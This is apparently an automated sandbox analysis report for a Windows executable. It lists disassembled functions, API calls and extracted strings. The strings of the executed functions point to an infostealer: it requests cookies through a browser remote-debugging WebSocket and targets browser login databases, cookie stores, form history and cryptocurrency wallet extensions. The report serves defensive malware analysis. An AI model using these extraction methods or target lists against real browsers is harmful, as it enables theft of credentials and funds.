Opcode ID: 6266cd46c425570dbef5f2b4cd5828e843ddf56fe98055727fca2ccabc820762
Instruction ID: f214d81f0bf845ee4db6b0dccb7e007e05cac1ade1aecb92d1e163e0c5f30eae
Opcode Fuzzy Hash: 6266cd46c425570dbef5f2b4cd5828e843ddf56fe98055727fca2ccabc820762
Instruction Fuzzy Hash: 1E219271604209AFDF20FFA5C88182AB7A9FF543647188529F91AD7651FB30EC20CBA1

Function 008872A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e20cac9c9cc1a66c0a9a74a81e5ff32a6d400568f117845d22eda346bdc7383
Instruction ID: e7ec5f6e5c2bbe5eccabc580511fb94b3c284434f6382091b1f25b27e7b62089
Opcode Fuzzy Hash: 5e20cac9c9cc1a66c0a9a74a81e5ff32a6d400568f117845d22eda346bdc7383
Instruction Fuzzy Hash: E3219271608209AFDB20FFA5C881D6AB7B9FF503647604528FD16D7751E730EC00A7A2

Function 00897588 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00897590

Part of subcall function 008905D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00891D78,?,00000000,-00000008), ref: 00890632

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008975C8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008975E8

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7d1dcde98f96ddd90a304c673ffd8987c16d3f32e3b15bee27c9848686d7b30c
Instruction ID: ef4a21da9e725d7ed52f21b1324b22f95755c57a23e1a993ddea37e2bd7c27c4
Opcode Fuzzy Hash: 7d1dcde98f96ddd90a304c673ffd8987c16d3f32e3b15bee27c9848686d7b30c
Instruction Fuzzy Hash: FC1104E2A15A197EBE1277B99C89C7F296CFE5A3987180424F901E1501FB64CD0185BA

Function 0088328F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00883296
std::_Lockit::_Lockit.LIBCPMT ref: 008832A0

Part of subcall function 00874360: std::_Lockit::_Lockit.LIBCPMT ref: 0087438E
Part of subcall function 00874360: std::_Lockit::~_Lockit.LIBCPMT ref: 008743B9

codecvt.LIBCPMT ref: 008832DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00883311

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: a41d8a334b7c6957b718284f2bf915646577035a121bc478aee3655e80ecf3c0
Instruction ID: 974a46d113229fca1503357f56c42475d1e5cf1765ec2ce04350511d217e4a18
Opcode Fuzzy Hash: a41d8a334b7c6957b718284f2bf915646577035a121bc478aee3655e80ecf3c0
Instruction Fuzzy Hash: BF01AD32A002198BDB05BBA8E815AAE77B5FF91B10F140409F406EB391DF70DE01CB92

Function 0089F0B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000), ref: 0089F0C7
GetLastError.KERNEL32(?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000,?,?,?,0089809E,?), ref: 0089F0D3

Part of subcall function 0089F124: CloseHandle.KERNEL32(FFFFFFFE,0089F0E3,?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000,?,?), ref: 0089F134

___initconout.LIBCMT ref: 0089F0E3

Part of subcall function 0089F105: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0089F0A1,0089E58C,?,?,00898758,?,00000000,00000000,?), ref: 0089F118

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0089E59F,00000000,00000001,?,?,?,00898758,?,00000000,00000000,?), ref: 0089F0F8

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5696daa3f2db41ee5a5dddea7522a52efbcdc4270e40ae0c73b0876dc8266703
Instruction ID: eb1acd2c65c42a3bb37e68b3e64d5b3fb26ca61da44227b472ee3c1f129a7265
Opcode Fuzzy Hash: 5696daa3f2db41ee5a5dddea7522a52efbcdc4270e40ae0c73b0876dc8266703
Instruction Fuzzy Hash: CDF0AC36500125BBDF262FD5DC089993F66FF493A1B094420FB19D5531E7328820DBD5

Function 00884C10 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00884C22
GetCurrentThreadId.KERNEL32 ref: 00884C31
GetCurrentProcessId.KERNEL32 ref: 00884C3A
QueryPerformanceCounter.KERNEL32(?), ref: 00884C47

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d915283fc15a07c773fd22d9284ef662635aa3559e6cdca3190c7d95302b16ef
Instruction ID: fcadc8af5ba60e6c171950d35243c719d1267b673abbd06dbcf73fbb619925f7
Opcode Fuzzy Hash: d915283fc15a07c773fd22d9284ef662635aa3559e6cdca3190c7d95302b16ef
Instruction Fuzzy Hash: 3EF0AF30C0020CEBCB04DBF4C94999EBBF4FF1D200B914995A412E7910E730AA44DF51

Function 00877D50 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00877EB0
_strcspn.LIBCMT ref: 00877EDE

Strings

@, xrefs: 008781A9

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: c4c5bca2339f04b39507eb1c2f6a15cb8c88305af3fe3914bf8b4cf69a7c38d8
Instruction ID: b452455db2e0b8ffe328b497ac1c81f7273d8e7aec0bca7ab0408f2e635428c4
Opcode Fuzzy Hash: c4c5bca2339f04b39507eb1c2f6a15cb8c88305af3fe3914bf8b4cf69a7c38d8
Instruction Fuzzy Hash: DC32B4B4904669CFCB24DF68C981A9DBBF1FF49300F05859AE84DA7305E734AA85CF52

Function 00894D72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0088AB4D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00894E31
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0088AB4D,?,?,?,00000055,?,-00000050,?,?), ref: 00894E68

Strings

utf8, xrefs: 00894F3A

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 08e78ecdc2270436373ee77c4e0c93795d798103257eaae58be8d4784bb64f9d
Instruction ID: 5dd24f579d8ddd01f8c23725cc6ef84124d3a5f1c9e2b7a9a6a1f77d2f6b6bf2
Opcode Fuzzy Hash: 08e78ecdc2270436373ee77c4e0c93795d798103257eaae58be8d4784bb64f9d
Instruction Fuzzy Hash: 2E51F631A04306AAEF25BB78CC46FAA73A8FF49710F1C6429F515D7181FB70E9428766

Function 0088FF48 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0088FE49,?,?,00000000,00000000,00000000,?), ref: 0088FF6D

Strings

MOC, xrefs: 0088FF7F
RCC, xrefs: 0088FF87

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2ea20f0927d4791bf2e78e2cd171193030b379965adb0a24e2b5f7d97079e9f2
Instruction ID: 7cf0b2a250dc46fc7f9017e4dc8d519d243b01b8f50c70b7499270a41e48d9d6
Opcode Fuzzy Hash: 2ea20f0927d4791bf2e78e2cd171193030b379965adb0a24e2b5f7d97079e9f2
Instruction Fuzzy Hash: 18414972900509AFDF16EF98CD81AEEBBB5FF48300F188069FA04A7262D7359990DF51

Function 0088F7B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0088FA2B

Strings

csm, xrefs: 0088FABE
csm, xrefs: 0088FA4D

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: c669e1417f81cf9df9e165520913f6f6e087970e66c0adf4dafb2b93cde3a989
Instruction ID: 21904da85d1ad83a8dd8e7b3242ed5dd6ea30c28a4891051c14d947a216f9881
Opcode Fuzzy Hash: c669e1417f81cf9df9e165520913f6f6e087970e66c0adf4dafb2b93cde3a989
Instruction Fuzzy Hash: 8B31C4725002189BCF26AF54DC549AA7B65FF08339B18817AFE58CA123D332DDA1DB91

Function 00881F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0088200A
RaiseException.KERNEL32(?,?,?,?), ref: 0088202F

Part of subcall function 00884D23: RaiseException.KERNEL32(E06D7363,00000001,00000003,00883ADE,?,?,?,?,00883ADE,00001000,008AAE2C,00001000), ref: 00884D84

Part of subcall function 0088D2B9: IsProcessorFeaturePresent.KERNEL32(00000017,00887E7B,?,?,?,?,00000000), ref: 0088D2D5

Strings

csm, xrefs: 00881FBE

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: c0f1d6b6543db55d6d1f8ba014990c0fc93c46d683ee17577ac8a22f3d9e6883
Instruction ID: 3cb77693833fb619a2a17be42c0b627e4dc5bac98b4e41ad941ab1b9e97bc65e
Opcode Fuzzy Hash: c0f1d6b6543db55d6d1f8ba014990c0fc93c46d683ee17577ac8a22f3d9e6883
Instruction Fuzzy Hash: 7C219F32D006189BCF25FF98D9859AEB7B9FF14714F14440AEA05EF250DB34AE45CB81

Analysis Process: aD7D9fkpII.exePID: 6584, Parent PID: 6408COMMON

Execution Graph

Execution Coverage:	32%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.6%
Total number of Nodes:	1651
Total number of Limit Nodes:	17

Executed Functions

Function 004054A0 Relevance: 120.4, APIs: 62, Strings: 6, Instructions: 1411networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

Part of subcall function 00402400: memcpy.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 004024B6

Part of subcall function 0040ED20: memcpy.MSVCRT(00000000,?,0000000F,00000000,-00000001,?,00000000,0040D171,00000000,00000002,000000FF,?,00000000), ref: 0040EDD8

memcmp.MSVCRT(00000000,ws://,00000005,?,00000000,00000005), ref: 00405594
??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,00000005), ref: 004055FD
memchr.MSVCRT ref: 00405644
??3@YAXPAX@Z.MSVCRT(00000000,?,00000005,-00000005), ref: 0040570A
??3@YAXPAX@Z.MSVCRT(00000000,00000005,000000FF,?,00000000,00000005), ref: 004057D4
memchr.MSVCRT ref: 00405814
??3@YAXPAX@Z.MSVCRT(00000000,?,00000001,000000FF), ref: 004058DA
??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,00000000,?,00000001,000000FF), ref: 0040595E
WSAStartup.WS2_32(00000202,?), ref: 00405993
socket.WS2_32(00000002,00000001,00000006), ref: 004059AE
getaddrinfo.WS2_32(00000000,00000000,?,00000000), ref: 00405A18
closesocket.WS2_32(?), ref: 00405A2A
WSACleanup.WS2_32 ref: 00405A30
??3@YAXPAX@Z.MSVCRT(?), ref: 00405AA0
??3@YAXPAX@Z.MSVCRT(?), ref: 00405AF3
??3@YAXPAX@Z.MSVCRT(00000000,0042150A,00000000,?,00000000,00000005), ref: 00405B46

Part of subcall function 0040ED20: memmove.MSVCRT(?,00000000,?,00000000,-00000001,?,00000000,0040D171,00000000,00000002,000000FF,?,00000000), ref: 0040EDA3

Part of subcall function 00406940: ??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,0040D83E,00000000,?,00000000), ref: 00406982
Part of subcall function 00406940: memmove.MSVCRT(?,?,?,00000000,?,0040D83E,00000000,?,00000000), ref: 004069AA

htons.WS2_32(00000000), ref: 00405B76
freeaddrinfo.WS2_32(00000000), ref: 00405B96
connect.WS2_32(?,00000002,00000010), ref: 00405BAB
memcpy.MSVCRT(00000000,00000000,?,?,GET ,00000000,00420ACE,00000001), ref: 00405C38
closesocket.WS2_32(?), ref: 00405C45
WSACleanup.WS2_32 ref: 00405C4B
memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00405CC2
memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00405D29
memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00405D95
memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00405DFC
memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE), ref: 00405E6D
memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE), ref: 00405EE6
??3@YAXPAX@Z.MSVCRT(00000000,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00405F75
??3@YAXPAX@Z.MSVCRT(00000000,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00405FE3
??3@YAXPAX@Z.MSVCRT(00000000,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 0040604B
??3@YAXPAX@Z.MSVCRT(00000000,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 004060AD
??3@YAXPAX@Z.MSVCRT(00000000,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 0040610F
??3@YAXPAX@Z.MSVCRT(00000000,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 00406171
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,000000FF,00000000,00000000,000000FF,00000000,00000000,000000FF,?,GET ,00000000,00420ACE,00000001), ref: 004061D9
send.WS2_32(00000000,00000000,?,00000000), ref: 0040620B
recv.WS2_32(00000000,?,00001000,00000000), ref: 0040622A
rand.MSVCRT ref: 00406246
rand.MSVCRT ref: 00406252
rand.MSVCRT ref: 0040625E
rand.MSVCRT ref: 0040626A
closesocket.WS2_32(00000000), ref: 004062E7
WSACleanup.WS2_32 ref: 004062ED

Part of subcall function 00406B00: memcpy.MSVCRT(00000000,?,?,00000000,?,?,?,00000000,?,?,?,00406742,00000088,0042150A,00000000,?), ref: 00406B7A

send.WS2_32(00000000,00000000,00000000,00000000), ref: 004063F3
recv.WS2_32(00000000,00000000,00001000,00000000), ref: 00406465
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,00000000), ref: 004064A3
??2@YAPAXI@Z.MSVCRT(?), ref: 004065BF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(0042150A,00000000,?,00000000,00000005), ref: 0040671B
send.WS2_32(00000000,00000000,00000000,00000000), ref: 00406763
closesocket.WS2_32(00000000), ref: 0040676A
WSACleanup.WS2_32 ref: 00406770
closesocket.WS2_32(00000000), ref: 004067C8
WSACleanup.WS2_32 ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?), ref: 0040683D
??3@YAXPAX@Z.MSVCRT(?), ref: 00406894
Concurrency::cancel_current_task.LIBCPMT ref: 0040692E

Strings

GET , xrefs: 00405BFC
HTTP/1.1Host: , xrefs: 00405C0B
{"id":1,"method":"Storage.getCookies"}, xrefs: 0040623C
Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 00405DCF
Sec-WebSocket-Version: 13, xrefs: 00405EB3
ws://, xrefs: 0040558E

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??3@$memcpy$Cleanupclosesocket$rand$memmovesend$memchrrecv$??2@Concurrency::cancel_current_taskStartup_invalid_parameter_noinfo_noreturnconnectfreeaddrinfogetaddrinfohtonsmemcmpsocket
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $GET $ws://${"id":1,"method":"Storage.getCookies"}
API String ID: 2888708447-1943833848
Opcode ID: 1df36d042cab634cffa96afa8ef0f025dcee86d70f5e52261c321231cb3b4a1f
Instruction ID: e4f2ee01d7335c5added529db0d38c8452bd00aeee575b7ecc144f5d552c7b4a
Opcode Fuzzy Hash: 1df36d042cab634cffa96afa8ef0f025dcee86d70f5e52261c321231cb3b4a1f
Instruction Fuzzy Hash: B3C2D3706087808BD734DB28C894BAFB7E1AF85318F14093EF596AB3C1D7799844CB5A

Function 004081B0 Relevance: 80.1, APIs: 17, Strings: 28, Instructions: 1338
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 004081D9
FindFirstFileA.KERNEL32(00000000,?,0042150A,0042150A,?,?,0042119A,?,?,0042150A,?), ref: 00408268

Part of subcall function 00402400: memmove.MSVCRT(00000000,?,?,?,-00000001,?,00000000,0040D14C,?,00000000), ref: 0040246E

strlen.MSVCRT ref: 00408311
memcmp.MSVCRT(00000000,00000000,00000000,00000001), ref: 00408344
strlen.MSVCRT ref: 0040839B
memcmp.MSVCRT(00000000,00000000,00000000,0042113D,00000002,?,?,?,00000001), ref: 004083CC
??3@YAXPAX@Z.MSVCRT(00000000,0042113D,00000002,?,?,?,00000001), ref: 0040842F

Strings

C:\ProgramData\, xrefs: 00408617, 00408885, 00408B70, 00408D72, 00409007, 00409AA0, 0040A3F1
cookies.sqlite, xrefs: 00409952
Wallets, xrefs: 004086C2, 0040A247
Opera, xrefs: 0040A92B
_webdata.db, xrefs: 00409111
_0.indexeddb.leveldb, xrefs: 0040ABD9
_formhistory.db, xrefs: 00409CB1
--remote-debugging-port=9223 --profile-directory=", xrefs: 00408F68, 004092F1
places.sqlite, xrefs: 0040998E
IndexedDB, xrefs: 0040AB94
_key4.db, xrefs: 0040964D
chrome-extension_, xrefs: 0040ABBA
Cookies, xrefs: 0040855A, 00408591, 0040880A
CURRENT, xrefs: 0040AA3E, 0040AB25, 0040AC56
Login Data, xrefs: 004087F0
Web Data, xrefs: 00408D30
Network, xrefs: 0040853D, 00408574, 00408B16
formhistory.sqlite, xrefs: 00409966
\BraveWallet\Preferences, xrefs: 004086D2
_logins.json, xrefs: 00409D85
Sync Extension Settings, xrefs: 0040AAA7
Opera GX, xrefs: 0040850F, 0040A944
Opera Crypto, xrefs: 0040A957
_cookies.db, xrefs: 00408C9C, 0040921C, 00409BA2
Brave, xrefs: 004085D9
_history.db, xrefs: 00408E82, 00409A19
History, xrefs: 00408D4A
Local Extension Settings, xrefs: 0040A345, 0040A9B4

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcmpstrlen$??3@EnvironmentExpandFileFindFirstStringsmemmove
String ID: --remote-debugging-port=9223 --profile-directory="$Brave$C:\ProgramData\$CURRENT$Cookies$History$IndexedDB$Local Extension Settings$Login Data$Network$Opera$Opera Crypto$Opera GX$Sync Extension Settings$Wallets$Web Data$\BraveWallet\Preferences$_0.indexeddb.leveldb$_cookies.db$_formhistory.db$_history.db$_key4.db$_logins.json$_webdata.db$chrome-extension_$cookies.sqlite$formhistory.sqlite$places.sqlite
API String ID: 584679816-3644845557
